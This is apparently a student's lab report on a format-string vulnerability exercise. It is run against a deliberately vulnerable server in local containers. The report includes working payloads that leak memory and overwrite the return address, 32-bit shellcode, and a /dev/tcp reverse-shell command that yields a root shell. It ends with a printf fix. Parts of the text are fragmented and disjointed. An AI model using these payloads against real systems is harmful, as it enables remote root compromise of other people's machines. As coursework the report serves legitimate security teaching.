

Austin Leach

CIS 5627

Project 3

Task 1:

For this task I changed the string in the build_string.py to be a bunch of %s this caused the program to not return properly and crash.

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd130
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd068
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

```
s = '%s' * 12
```

Task 2:

A. To do this I modified the s in build_string.py to print out a lot of %x until I found the first thing I inputted which was 0xdeadbeef.

```
9 number = 0xdeadbeef
10 content[0:4] = (number).to_bytes(4,byteorder='little')
```

```

server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd130
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd068
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | 0abcd11223344fffffd13008049db5080e62d400000354080e5f
80fffffd06800000000080e5000fffffd0f808049f7bfffffd13000000000000005c0804
9f44fffffd130080e9720000005dcfffffd1300000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
000000000002b7f6b00080e5000080e5000fffffd71808049efffffffd130000005dc0000
05dc080e532000000000000000000000000000000fffffd7e400000000000000000000000
0005dcdeadbeefThe target variable's value (after): 0x11223344
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)

```

Doing this I was able to find that the start of the input is 60 %x in.

```
s = '%.08x' * 60
```

B. To find what the secret is I put the address of the secret that is printed out in the program as the first thing that I typed into the format string. Because I know that it is 60 arguments into the format string where the first part is written out I can do '%.08x' 59 times and then %s to see the 60th argument as a string. This printed out the secret message in the output.

value for a single byte back to 0x00 in order to get the 0x5000.

```
8# This line shows how to store a 4-byte integer at offset 0
9 number = 0x080e5068
10 content[0:4] = (number).to_bytes(4,byteorder='little')
11
12 number2 = 0x080e5069
13# This line shows how to store a 4-byte string at offset 4
14 content[4:8] = (number2).to_bytes(4,byteorder='little')
15
16# This line shows how to construct a string s with
17# 12 of "%.8x", concatenated with a "%n"
18 s = '%60$n' + "#"*72 + '%61$hhn' + "#"*176 + '%60$hhn'
19
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd2d0
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd208
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hi#####
#####
#####
#####The target variable's value (after): 0x00005000
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
```

C. To change the value to 0xaabbccdd I decided to use %hn. So for the first half 0xaabb I needed 43707 bytes total written. Because I am writing 8 bytes at the beginning for the addresses this means the number I need to write after will be $43707 - 8 = 43699$. This gets it to 0xaabb, to get to 0xccdd I need to add more bytes written. $0xccdd = 52445$ which means that the number of bytes that I need to write is $52445 - 43707 = 8738$ to get to ccdd for the second half. I did that with the following code in build_string.py

0xffffd1ec. The beginning of the buffer on the stack is also printed out in the program and is the input buffer's address which is 0xffffd4d0.

Question 2: You need 60 %x to be able to write to the start of the input buffer by.

I had to change the shellcode in order to include the command that allows you to get a reverse shell by redirecting the tcp input and output with this `"/bin/bash -i > /dev/tcp/10.9.0.7/9090 0<&1 2>&1`

`*`". I found that my terminal that was listening with nc was at 10.9.0.7. To find the addresses for the argv array that is used to get a reverse shell I used the input buffer address and added 1500 to it for the buffer size which gives the address 0xffffd7c4. This gets me the null byte at the end of the buffer which can be used as argv[3]. Because it is at the end of the buffer you need to do `0xffffd7c4 - 20` to get the address of argv[2] which is 0xffffd7b0 and then continue to do `-4` in order to get argv[1] and argv[0] which makes the shellcode look like this.

```
4 # 32-bit Generic Shellcode
5 shellcode_32 = (
6     "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
7     "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
8     "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
9     "/bin/bash*"
10    "-c*"
11    # The * in this line serves as the position marker          *
12    "/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1          *"
13    "\xa8\xd7\xff\xff"    # Placeholder for argv[0] --> "/bin/bash"
14    "\xac\xd7\xff\xff"    # Placeholder for argv[1] --> "-c"
15    "\xb0\xd7\xff\xff"    # Placeholder for argv[2] --> the command string
16    "\xc4\xd7\xff\xff"    # Placeholder for argv[3] --> NULL
17 ).encode('latin-1')
18
```

Then the next step was to write to the return address. The return address is the `$ebp+4` which is 0xffffd2ec. This is the address to write to and the value needs to be the input buffer address plus some in order to land in the NOP sled that is in the input. I chose this value as 0xffffd6d6. I then did the math for the number of bytes needed to be written

in order to get this value the same as before and found the first one as 65527 to reach 0xffff and then 54999 to reach 0xd6d6 with it doing an overflow to get there.

```
36 N = 1500
37 # Fill the content with NOP's
38 content = bytearray(0x90 for i in range(N))
39
40 # Choose the shellcode version based on your target
41 shellcode = shellcode_32
42
43 # Put the shellcode somewhere in the payload
44 start = 1500 - len(shellcode) # Change this number
45 content[start:start + len(shellcode)] = shellcode
46
47 #####
48 #
49 # Construct the format string here
50 #
51 #####|#####
52
53 #0xffffd2ee
54 #0xffffd2ec
55
56 number = 0xffffd2ee
57 content[0:4] = (number).to_bytes(4,byteorder='little')
58
59 number2 = 0xffffd2ec
60 content[4:8] = (number2).to_bytes(4,byteorder='little')
61
62 # value for return address ffffd6d6
63
64 s = '%.65527x' + '%60$hn' + '%.54999x' + '%61$hn'
65
66 fmt = (s).encode('latin-1')
67 content[8:8+len(fmt)] = fmt
--
```

After doing this and setting up a listening server I was able to get a root shell directed to it.


```

root@3f312ffcb285:/fmt# whoami
whoami
root
root@3f312ffcb285:/fmt# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
    RX packets 204 bytes 45522 (45.5 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 159 bytes 9516 (9.5 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 31 bytes 2324 (2.3 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 31 bytes 2324 (2.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@3f312ffcb285:/fmt# █

```

Here is my testing result to see if I was making it into the NOP sled before changing the command to be the reverse shell one.

```

██████████CG██████[H██████
██████████CT██████KH101005 | ████████
██████████/bin/bash*-c*/bin/ls -l; echo '==== Success! ====='
*AAAABBBBCCCCDDDDThe target variable's value (after): 0x11223344
server-10.9.0.5 | total 820
server-10.9.0.5 | -rw----- 1 root root 319488 Oct 30 23:56 core
server-10.9.0.5 | -rwxrwxr-x 1 root root 709340 Oct 21 00:26 format
server-10.9.0.5 | -rwxrwxr-x 1 root root 17880 Oct 21 00:26 server
server-10.9.0.5 | ===== Success! =====
██████████

```

Task 6:

In order to fix the problem I changed the vulnerable line `printf(msg);` to

`printf("%s",msg);` . This makes it so that the msg will not be interpreted

as a format string and stops the vulnerability. I then did make again and got no warnings

from the compiler.

```
[10/30/23] seed@VM:~/.../server-code$ make
gcc -DBUF_SIZE=92 -z execstack -static -m32 -o format-32 format.c
gcc -DBUF_SIZE=92 -z execstack -o format-64 format.c
[10/30/23] seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

When it is run again like this I get the following output.

```
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffcfe8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | jh%.43699x%60$hn%.8738x%61$hnThe target variable's value (after): 0x11223344
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
```